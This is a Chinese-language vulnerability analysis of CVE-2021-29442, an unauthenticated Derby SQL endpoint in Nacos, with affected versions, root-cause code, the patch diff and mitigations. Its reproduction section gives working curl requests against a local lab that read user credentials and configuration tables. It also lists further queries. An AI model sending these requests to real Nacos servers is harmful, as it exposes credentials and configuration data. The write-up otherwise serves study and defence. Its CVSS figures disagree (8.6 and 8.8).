一、漏洞简介¶
1.1 漏洞背景¶
2021年4月,Nacos 被披露存在 SQL 注入漏洞。在 Nacos 1.4.1 之前的版本中,ConfigOpsController 的 /derby 端点未受保护,允许攻击者执行任意 SQL 查询。该漏洞也被称为 CNVD-2020-67618。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2021-29442 |
| 危害等级 | HIGH / 8.6 |
| 漏洞类型 | Derby SQL 注入 |
| 披露时间 | 2021-04-27 |
| 影响组件 | Nacos |
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2021-29442 / CNVD-2020-67618 |
| 危害等级 | 高危(High) |
| CVSS 评分 | 8.8 |
| 漏洞类型 | SQL 注入 |
| 影响 | 数据泄露、数据篡改、潜在 RCE |
| 公开日期 | 2021年4月27日 |
补充核验信息:公开时间:2021-04-27;NVD 评分:8.6(HIGH);CWE:CWE-306。
二、影响范围¶
2.1 受影响的版本¶
- Nacos 0.1.0 - 1.4.1
2.2 不受影响的版本¶
- Nacos 1.4.2+
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Nacos 使用内置 Derby 数据库(standalone 模式默认)
- 攻击者能访问 /nacos/v1/cs/ops/derby 端点
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
Nacos 的 ConfigOpsController 提供了 /derby 端点用于执行数据库管理操作。该端点未添加 @Secured 注解进行权限保护,攻击者可直接发送 SQL 查询请求。
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞位置:nacos-config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java
问题代码片段:
@GetMapping("/derby")
public RestResult<String> derby(@RequestParam("sql") String sql) {
// 直接执行 SQL,无权限检查
return derbyService.query(sql);
}
补丁对比:
+ @Secured(action = ActionTypes.READ)
@GetMapping("/derby")
public RestResult<String> derby(@RequestParam("sql") String sql) {
return derbyService.query(sql);
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
docker run -d --name nacos \
-e MODE=standalone \
-p 8848:8848 \
nacos/nacos-server:1.4.0
4.2 PoC 演示与测试过程¶
查询用户表:
curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/ops/derby?sql=select+user,password+from+users'
查询所有配置:
curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/ops/derby?sql=select+*+from+config_info'
其他可用 SQL:
select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from config_info
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级到 Nacos 1.4.2 或更高版本
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
限制 /derby 端点访问:
location /nacos/v1/cs/ops/derby {
deny all;
}
WAF 规则:
SecRule REQUEST_URI "@contains /nacos/v1/cs/ops/derby" "deny,log,msg:'Nacos Derby SQL Injection'"
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://github.com/alibaba/nacos/pull/4517
- https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
6.2 其他技术参考资料¶
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2021-29442
- CVE:https://www.cve.org/CVERecord?id=CVE-2021-29442
- https://github.com/alibaba/nacos/pull/4517
- https://github.com/advisories/GHSA-36hp-jr8h-556f
- https://github.com/alibaba/nacos/issues/4463
- http://127.0.0.1:8848/nacos/v1/cs/ops/derby?sql=select+user,password+from+users'
- http://127.0.0.1:8848/nacos/v1/cs/ops/derby?sql=select+*+from+config_info'
- https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/